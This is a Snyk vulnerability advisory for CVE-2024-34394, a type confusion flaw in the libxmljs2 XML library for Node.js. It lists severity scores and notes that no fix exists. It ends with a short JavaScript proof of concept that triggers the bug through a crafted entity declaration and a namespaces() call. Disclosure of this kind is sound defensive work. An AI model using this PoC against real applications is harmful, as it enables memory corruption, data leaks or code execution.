Type Confusion Affecting libxmljs2 package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (9th
percentile)
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Test your applications- Snyk ID SNYK-JS-LIBXMLJS2-6808816
- published 5 May 2024
- disclosed 2 May 2024
- credit Unknown
Introduced: 2 May 2024
New CVE-2024-34394 Open this link in a new tabHow to fix?
There is no fixed version for libxmljs2.
Overview
libxmljs2 is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Type Confusion when parsing a specially crafted XML while invoking the namespaces() function (which invokes XmlNode::get_local_namespaces()) on a grand-child of a node that refers to an entity.
Exploiting this vulnerability leads to an RCE, data leak DoS on 64-bit and 32-bit systems.
PoC
const libxmljs2 = require('libxmljs2');
var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;
t = libxmljs2.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true